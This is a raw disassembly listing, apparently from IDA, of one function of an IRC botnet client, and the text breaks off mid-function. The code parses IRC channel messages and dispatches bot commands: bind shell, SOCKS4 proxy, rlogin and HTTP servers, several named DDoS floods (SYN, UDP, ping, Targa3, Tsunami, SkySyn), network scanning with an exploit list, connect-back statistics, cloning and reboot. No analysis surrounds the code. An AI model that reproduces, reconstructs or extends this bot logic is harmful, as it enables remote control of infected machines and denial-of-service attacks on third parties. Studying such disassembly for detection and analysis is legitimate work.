push offset aS_0 ; "%s"
push eax ; Dest
call _sprintf
push [ebp+esi+var_80] ; Str
call _atoi
mov [ebp+var_19FC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1B9C], eax
lea eax, [ebp+var_C0]
push 7Fh ; Count
push eax ; Source
lea eax, [ebp+var_1A7C]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F4], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F0], eax
lea eax, [ebp+var_1A7C]
push eax
lea eax, [ebp+var_1B80]
push eax
lea eax, [ebp+Dst]
push offset asc_43FD64 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ah ; int
push eax ; Source
call sub_40B756
add esp, 1Ch
mov [ebp+var_19F8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1B9C]
push ebx
push eax
push offset sub_416D25
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_19F8]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz loc_4025C8
loc_402493: ; CODE XREF: sub_401CC7+7E0j
cmp [ebp+var_19EC], ebx
jnz loc_408637
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_402493
; ---------------------------------------------------------------------------
loc_4024A9: ; CODE XREF: sub_401CC7+661j
; sub_401CC7+676j
push esi ; Str2
push offset aNotice_1 ; "NOTICE"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4024C1
mov [ebp+var_4], 1
loc_4024C1: ; CODE XREF: sub_401CC7+7F1j
mov edi, [ebp+Format]
cmp edi, ebx
jz loc_402085
push offset asc_43FD00 ; "#"
push edi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4024E5
cmp [ebp+var_4], ebx
jz short loc_4024F1
loc_4024E5: ; CODE XREF: sub_401CC7+817j
lea edi, [ebp+var_C0]
mov [ebp+Format], edi
loc_4024F1: ; CODE XREF: sub_401CC7+81Cj
cmp [ebp+Str2], ebx
jz loc_402085
inc [ebp+Str2]
jz short loc_40253B
cmp [ebp+Source], ebx
jz short loc_40253B
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
push eax ; MaxCount
lea eax, [ebp+Str1]
push [ebp+Str2] ; Str2
push eax ; Str1
call _strncmp
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_A4], eax
jmp short loc_402541
; ---------------------------------------------------------------------------
loc_40253B: ; CODE XREF: sub_401CC7+83Cj
; sub_401CC7+841j
mov eax, [ebp+var_A4]
loc_402541: ; CODE XREF: sub_401CC7+872j
shl eax, 2
mov [ebp+arg_8], eax
mov esi, [ebp+eax+var_90]
cmp esi, ebx
jz loc_402085
push esi ; Str2
push offset dword_43FD04 ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40235C
cmp byte ptr [edi], 23h
jz short loc_40258C
mov eax, dword_4E2F8C
mov eax, off_43F15C[eax*4]
cmp [eax], bl
jz short loc_40258C
push eax
push edi
push offset dword_43FD10
jmp loc_40207A
; ---------------------------------------------------------------------------
loc_40258C: ; CODE XREF: sub_401CC7+8A7j
; sub_401CC7+8B7j
push esi ; Str2
push offset dword_43FD2C ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40235C
mov eax, [ebp+arg_8]
mov eax, dword ptr [ebp+eax+Args]
cmp eax, ebx
jz loc_40235C
cmp byte ptr [edi], 23h
jz loc_40235C
push eax
push edi
push offset dword_43FD34
jmp loc_40207A
; ---------------------------------------------------------------------------
loc_4025C8: ; CODE XREF: sub_401CC7+7C6j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_43FD94
jmp loc_408628
; ---------------------------------------------------------------------------
loc_4025D9: ; CODE XREF: sub_401CC7+6E7j
lea eax, [ebp+var_C0]
push eax
push [ebp+esi+Format]
push offset asc_43FDD0 ; "-"
loc_4025EC: ; CODE XREF: sub_401CC7+7EF1j
; sub_401CC7+7F58j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 10h
jmp loc_408637
; ---------------------------------------------------------------------------
loc_402600: ; CODE XREF: sub_401CC7+6DBj
push dword ptr [ebp+esi+Args] ; Str2
push offset aChat ; "CHAT"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40274F
cmp [ebp+var_A8], ebx
jz loc_402728
push 1Bh
call sub_40B99E
test eax, eax
pop ecx
jnz loc_402717
push [ebp+esi+Str2]
lea eax, [ebp+var_2AA8]
push offset aS_1 ; "%s"
push eax ; Dest
call _sprintf
push [ebp+esi+var_80] ; Str
call _atoi
mov [ebp+var_2910], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB0], eax
lea eax, [ebp+var_C0]
push 7Fh ; Count
push eax ; Source
lea eax, [ebp+var_2990]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_2908], eax
mov eax, [ebp+var_8]
mov [ebp+var_2904], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dst]
push offset asc_43FE20 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Bh ; int
push eax ; Source
call sub_40B756
add esp, 18h
mov [ebp+var_290C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB0]
push ebx
push eax
push offset sub_4167BF
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_290C]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_402706
loc_4026F0: ; CODE XREF: sub_401CC7+A3Dj
cmp [ebp+var_2900], ebx
jnz loc_408637
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4026F0
; ---------------------------------------------------------------------------
loc_402706: ; CODE XREF: sub_401CC7+A27j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_43FE40
jmp loc_408628
; ---------------------------------------------------------------------------
loc_402717: ; CODE XREF: sub_401CC7+96Aj
lea eax, [ebp+var_C0]
push eax
push offset unk_43FE78
jmp loc_408628
; ---------------------------------------------------------------------------
loc_402728: ; CODE XREF: sub_401CC7+95Aj
lea eax, [ebp+var_C0]
push eax
push offset unk_43FEA8
jmp loc_408628
; ---------------------------------------------------------------------------
loc_402739: ; CODE XREF: sub_401CC7+6C0j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_43F094
mov [edi], ecx
jnz loc_402085
loc_40274F: ; CODE XREF: sub_401CC7+94Ej
mov edi, [edi]
push edi ; Str2
push offset aLogin ; "login"
mov [ebp+arg_8], edi
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409B1E
push edi ; Str2
push offset asc_43FEE4 ; "l"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409B1E
cmp [ebp+var_A8], ebx
jnz short loc_4027A0
push dword ptr [ebp+Args] ; Str2
push offset a332_3 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409B16
loc_4027A0: ; CODE XREF: sub_401CC7+ABDj
cmp [ebp+arg_28], ebx
jnz loc_409B16
xor edi, edi
cmp dword_43F494, ebx
jle loc_402955
mov [ebp+arg_20], offset dword_455298
loc_4027BE: ; CODE XREF: sub_401CC7+B16j
push [ebp+arg_8] ; Str2
push [ebp+arg_20] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_4027E4
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_43F494
jl short loc_4027BE
jmp loc_402955
; ---------------------------------------------------------------------------
loc_4027E4: ; CODE XREF: sub_401CC7+B06j
push offset asc_440034 ; " :"
push [ebp+Src] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_402085
mov cl, byte_43F094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_43F094
mov [eax+3], cl
lea ecx, dword_4552B0[edi]
push 9Fh ; Count
add eax, 4
push ecx ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_8], 0Fh
mov [ebp+arg_20], eax
loc_402839: ; CODE XREF: sub_401CC7+C23j
push [ebp+arg_8]
lea eax, [ebp+SubStr]
push offset aD ; "$%d-"
push eax ; Dest
call _sprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_4028A5
mov eax, [ebp+arg_20]
cmp [eax], ebx
jz short loc_4028A5
lea eax, dword_455298[edi]
push eax ; Str
call _strlen
add [ebp+var_C], eax
pop ecx
jz short loc_4028E0
mov eax, [ebp+arg_20]
push dword ptr [eax-4] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4028E0
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_418C07
add esp, 0Ch
jmp short loc_4028E0
; ---------------------------------------------------------------------------
loc_4028A5: ; CODE XREF: sub_401CC7+B9Aj
; sub_401CC7+BA1j
mov eax, [ebp+arg_20]
cmp [eax], ebx
jnz short loc_4028E0
lea eax, [ebp+SubStr]
push 2 ; Count
push eax ; Source
lea eax, [ebp+var_94]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_418C07
add esp, 18h
loc_4028E0: ; CODE XREF: sub_401CC7+BB3j
; sub_401CC7+BC7j ...
dec [ebp+arg_8]
sub [ebp+arg_20], 4
cmp [ebp+arg_8], ebx
jg loc_402839
lea eax, [ebp+esi+var_50]
mov [ebp+arg_8], 10h
mov edi, eax
loc_4028FD: ; CODE XREF: sub_401CC7+C82j
push [ebp+arg_8]
lea eax, [ebp+SubStr]
push offset aD_0 ; "$%d"
push eax ; Dest
call _sprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_402940
mov eax, [edi]
cmp eax, ebx
jz short loc_402940
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_418C07
add esp, 0Ch
loc_402940: ; CODE XREF: sub_401CC7+C5Ej
; sub_401CC7+C64j
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg short loc_4028FD
mov [ebp+var_2C4], 1
loc_402955: ; CODE XREF: sub_401CC7+AEAj
; sub_401CC7+B18j
mov eax, [ebp+esi+var_90]
mov al, [eax]
cmp al, byte_43F094
jz short loc_402972
cmp [ebp+var_2C4], ebx
jz loc_402B67
loc_402972: ; CODE XREF: sub_401CC7+C9Dj
push [ebp+Source] ; Source
mov edi, [ebp+Src]
push offset aMe ; "$me"
push edi ; Src
call sub_418C07
lea eax, [ebp+var_C0]
push eax ; Source
push offset aUser ; "$user"
push edi ; Src
call sub_418C07
push [ebp+Format] ; Source
push offset aChan ; "$chan"
push edi ; Src
call sub_418C07
push ebx ; Str1
push ebx ; int
lea eax, [ebp+SubStr]
push 2 ; int
push eax ; Dest
call sub_40B44F
push eax ; Source
push offset aRndnick ; "$rndnick"
push edi ; Src
call sub_418C07
add esp, 40h
push [ebp+arg_14] ; Source
push offset aServer ; "$server"
push edi ; Src
call sub_418C07
mov edi, offset aChr ; "$chr("
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
loc_4029E4: ; CODE XREF: sub_401CC7+E19j
test eax, eax
jz loc_402AE5
push offset aChr_0 ; "$chr("
push [ebp+Src] ; Str
call _strstr
mov [ebp+Source], eax
add eax, 5
push 4 ; Count
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; Dest
call _strncpy
lea eax, [ebp+SubStr]
push offset asc_44007C ; ")"
push eax ; Str
call _strtok
add esp, 1Ch
cmp [ebp+SubStr], 30h
jl short loc_402A34
cmp [ebp+SubStr], 39h
jle short loc_402A4A
loc_402A34: ; CODE XREF: sub_401CC7+D62j
push 3 ; Count
lea eax, [ebp+SubStr]
push offset a63 ; "63"
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_402A4A: ; CODE XREF: sub_401CC7+D6Bj
lea eax, [ebp+SubStr]
push eax ; Str
call _atoi
test eax, eax
pop ecx
jle short loc_402A70
lea eax, [ebp+SubStr]
push eax ; Str
call _atoi
pop ecx
mov [ebp+var_94], al
jmp short loc_402A84
; ---------------------------------------------------------------------------
loc_402A70: ; CODE XREF: sub_401CC7+D92j
call _rand
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_402A84: ; CODE XREF: sub_401CC7+DA7j
lea eax, [ebp+SubStr]
mov [ebp+var_93], bl
push eax ; Str
call _strlen
mov [ebp+arg_8], eax
push 0Ch ; Size
lea eax, [ebp+SubStr]
push ebx ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_8]
add eax, 6
push eax ; Count
lea eax, [ebp+SubStr]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_94]
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_418C07
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 30h
jmp loc_4029E4
; ---------------------------------------------------------------------------
loc_402AE5: ; CODE XREF: sub_401CC7+D1Fj
mov edi, 1FFh
lea eax, [ebp+Str]
push edi ; Count
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+Str]
push edi ; Count
push eax ; Source
lea eax, [ebp+var_4AF0]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_4AF0]
push offset asc_440084 ; " "
push eax ; Str
call _strtok
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+Args]
mov [ebp+Source], 1Fh
loc_402B35: ; CODE XREF: sub_401CC7+E83j
push offset asc_440088 ; " "
push ebx ; Str
call _strtok
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+Source]
pop ecx
jnz short loc_402B35
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_402085
add ecx, 3
mov [eax], ecx
loc_402B67: ; CODE XREF: sub_401CC7+CA5j
mov edi, [ebp+esi+var_90]
push edi ; Str2
push offset aRndnick_0 ; "rndnick"
mov [ebp+arg_8], edi
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409AC4
push edi ; Str2
push offset aRn ; "rn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409AC4
push edi ; Str2
push offset aDie ; "die"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404BE7
push edi ; Str2
push offset aD_1 ; "d"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404BE7
push edi ; Str2
push offset aLogout ; "logout"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404B3F
push edi ; Str2
push offset aLo ; "lo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404B3F
push edi ; Str2
push offset aVersion ; "version"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404B30
push edi ; Str2
push offset aVer ; "ver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404B30
push edi ; Str2
push offset aDedication ; "dedication"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404B26
push edi ; Str2
push offset aDed ; "ded"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404B26
push edi ; Str2
push offset aSpeedtest ; "speedtest"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404B0D
push edi ; Str2
push offset aSt ; "st"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404B0D
push edi ; Str2
push offset aSecure ; "secure"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404A0F
push edi ; Str2
push offset aSec ; "sec"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404A0F
push edi ; Str2
push offset aUnsecure ; "unsecure"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404A0F
push edi ; Str2
push offset aUnsec ; "unsec"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404A0F
push edi ; Str2
push offset aBindshell ; "bindshell"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404909
push edi ; Str2
push offset aBd ; "bd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404909
push edi ; Str2
push offset aBindshellstop ; "bindshellstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402D2B
push dword ptr [ebp+esi+Args] ; Str
push 6 ; int
push offset aServer_0 ; "Server"
push offset dword_440394 ; int
loc_402D0F: ; CODE XREF: sub_401CC7+10B2j
; sub_401CC7+10D8j ...
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push [ebp+arg_4] ; int
call sub_40B9E4
add esp, 20h
jmp loc_402085
; ---------------------------------------------------------------------------
loc_402D2B: ; CODE XREF: sub_401CC7+1033j
push edi ; Str2
push offset aSocks4 ; "socks4"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047E7
push edi ; Str2
push offset aS4 ; "s4"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047E7
push edi ; Str2
push offset aSocks4stop ; "socks4stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402D7B
push dword ptr [ebp+esi+Args]
push 19h
push offset aServer_1 ; "Server"
push offset dword_44042C
jmp short loc_402D0F
; ---------------------------------------------------------------------------
loc_402D7B: ; CODE XREF: sub_401CC7+109Dj
push edi ; Str2
push offset aRloginstop ; "rloginstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402DA4
push dword ptr [ebp+esi+Args]
push 9
push offset aServer_2 ; "Server"
push offset dword_440450
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_402DA4: ; CODE XREF: sub_401CC7+10C3j
push edi ; Str2
push offset aHttpstop ; "httpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402DCD
push dword ptr [ebp+esi+Args]
push 3
push offset aServer_3 ; "Server"
push offset dword_440474
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_402DCD: ; CODE XREF: sub_401CC7+10ECj
push edi ; Str2
push offset aLogstop ; "logstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402DF6
push dword ptr [ebp+esi+Args]
push 25h
push offset aLogList ; "Log list"
push offset dword_440498
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_402DF6: ; CODE XREF: sub_401CC7+1115j
push edi ; Str2
push offset aRedirectstop ; "redirectstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402E1F
push dword ptr [ebp+esi+Args]
push 18h
push offset aTcpRedirect ; "TCP redirect"
push offset dword_4404C4
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_402E1F: ; CODE XREF: sub_401CC7+113Ej
push edi ; Str2
push offset aDdos_stop ; "ddos.stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402E48
push dword ptr [ebp+esi+Args]
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset dword_4404EC
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_402E48: ; CODE XREF: sub_401CC7+1167j
push edi ; Str2
push offset aSynstop ; "synstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402E71
push dword ptr [ebp+esi+Args]
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset dword_44050C
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_402E71: ; CODE XREF: sub_401CC7+1190j
push edi ; Str2
push offset aSkysynstop ; "skysynstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402E9A
push dword ptr [ebp+esi+Args]
push 10h
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_440534
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_402E9A: ; CODE XREF: sub_401CC7+11B9j
push edi ; Str2
push offset aTarga3stop ; "targa3stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402EC3
push dword ptr [ebp+esi+Args]
push 11h
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_440560
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_402EC3: ; CODE XREF: sub_401CC7+11E2j
push edi ; Str2
push offset aWonkstop ; "wonkstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402EEC
push dword ptr [ebp+esi+Args]
push 12h
push offset aWonkFlood ; "Wonk flood"
push offset dword_440588
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_402EEC: ; CODE XREF: sub_401CC7+120Bj
push edi ; Str2
push offset aPacketstop ; "packetstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_403042
mov esi, dword ptr [ebp+esi+Args]
mov edi, [ebp+arg_4]
push esi ; Str
push 0Dh ; int
push offset aDdosFlood_0 ; "DDoS flood"
push offset dword_4405AC ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B9E4
push esi ; Str
push 0Eh ; int
push offset aSynFlood_0 ; "Syn flood"
push offset dword_4405C4 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B9E4
add esp, 40h
push esi ; Str
push 17h ; int
push offset aUdpFlood ; "UDP flood"
push offset dword_4405DC ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B9E4
push esi ; Str
push 16h ; int
push offset aPingFlood ; "Ping flood"
push offset dword_4405F4 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B9E4
add esp, 40h
push esi ; Str
push 11h ; int
push offset aTarga3Flood_0 ; "Targa3 flood"
push offset dword_440610 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B9E4
push esi ; Str
push 12h ; int
push offset aWonkFlood_0 ; "Wonk flood"
push offset dword_44062C ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B9E4
add esp, 40h
push esi ; Str
push 0Fh ; int
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_440648 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B9E4
push esi ; Str
push 13h ; int
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_440668 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B9E4
add esp, 40h
push esi ; Str
push 10h ; int
push offset aSkysynFlood_0 ; "SkySyn flood"
push offset dword_440688 ; int
push 1 ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push edi ; int
call sub_40B9E4
push ebx ; int
push [ebp+var_4] ; int
push offset unk_440698 ; int
push [ebp+Format] ; Str
push edi ; int
call sub_409D34
add esp, 34h
jmp loc_402085
; ---------------------------------------------------------------------------
loc_403042: ; CODE XREF: sub_401CC7+1234j
push edi ; Str2
push offset aTsunamistop ; "tsunamistop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40306B
push dword ptr [ebp+esi+Args]
push 0Fh
push offset aTsunamiFlood_0 ; "Tsunami flood"
push offset dword_4406E8
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_40306B: ; CODE XREF: sub_401CC7+138Aj
push edi ; Str2
push offset aWisdomstop ; "wisdomstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_403094
push dword ptr [ebp+esi+Args]
push 13h
push offset aWisdomAttack_0 ; "Wisdom attack"
push offset dword_440714
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_403094: ; CODE XREF: sub_401CC7+13B3j
push edi ; Str2
push offset aUdpstop ; "udpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4030BD
push dword ptr [ebp+esi+Args]
push 17h
push offset aUdpFlood_0 ; "UDP flood"
push offset dword_440738
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_4030BD: ; CODE XREF: sub_401CC7+13DCj
push edi ; Str2
push offset aPingstop ; "pingstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4030E6
push dword ptr [ebp+esi+Args]
push 16h
push offset aPingFlood_0 ; "Ping flood"
push offset dword_44075C
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_4030E6: ; CODE XREF: sub_401CC7+1405j
push edi ; Str2
push offset aTftpstop ; "tftpstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40310F
push dword ptr [ebp+esi+Args]
push 5
push offset aServer_4 ; "Server"
push offset dword_44077C
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_40310F: ; CODE XREF: sub_401CC7+142Ej
push edi ; Str2
push offset aFindfilestop ; "findfilestop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047CF
push edi ; Str2
push offset aFfstop ; "ffstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047CF
push edi ; Str2
push offset aProcsstop ; "procsstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047B7
push edi ; Str2
push offset aPsstop ; "psstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047B7
push edi ; Str2
push offset aClonestop ; "clonestop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40318C
push dword ptr [ebp+esi+Args]
push 1Fh
push offset aClone ; "Clone"
push offset dword_440808
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_40318C: ; CODE XREF: sub_401CC7+14ABj
push edi ; Str2
push offset aSecurestop ; "securestop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4031B5
push dword ptr [ebp+esi+Args]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_44082C
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_4031B5: ; CODE XREF: sub_401CC7+14D4j
push edi ; Str2
push offset aScanstop ; "scanstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4031DE
push dword ptr [ebp+esi+Args]
push 0Bh
push offset aScan ; "Scan"
push offset dword_440850
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_4031DE: ; CODE XREF: sub_401CC7+14FDj
push edi ; Str2
push offset aScanstats ; "scanstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047A1
push edi ; Str2
push offset aStats ; "stats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4047A1
push edi ; Str2
push offset aTransferstats ; "transferstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40478B
push edi ; Str2
push offset aTrstats ; "trstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40478B
push edi ; Str2
push offset aConnectbacksta ; "connectbackstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404775
push edi ; Str2
push offset aCbstats ; "cbstats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404775
push edi ; Str2
push offset aExploitlist ; "exploitlist"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40475F
push edi ; Str2
push offset aExplist ; "explist"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40475F
push edi ; Str2
push offset aReconnect ; "reconnect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404740
push edi ; Str2
push offset aR ; "r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404740
push edi ; Str2
push offset aDisconnect ; "disconnect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40471E
push edi ; Str2
push offset aDc ; "dc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40471E
push edi ; Str2
push offset aQuit_0 ; "quit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4046D6
push edi ; Str2
push offset aQ ; "q"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4046D6
push edi ; Str2
push offset aStatus ; "status"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4046C2
push edi ; Str2
push offset aS_2 ; "s"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4046C2
push edi ; Str2
push offset aId ; "id"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40468B
push edi ; Str2
push offset aI_0 ; "i"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40468B
push edi ; Str2
push offset aReboot ; "reboot"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4033AA
call sub_4190D4
test eax, eax
mov eax, offset asc_4409C8 ; "-"
jnz short loc_40337C
mov eax, offset unk_4409E8
loc_40337C: ; CODE XREF: sub_401CC7+16AEj
push eax ; Format
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 1Ch
jmp loc_408637
; ---------------------------------------------------------------------------
loc_4033AA: ; CODE XREF: sub_401CC7+16A0j
push edi ; Str2
push offset aThreads ; "threads"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045AC
push edi ; Str2
push offset aT ; "t"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4045AC
push edi ; Str2
push offset aAliases ; "aliases"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi ; Str2
push offset aAl ; "al"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi ; Str2
push offset aLog ; "log"
call _strcmp
pop ecx
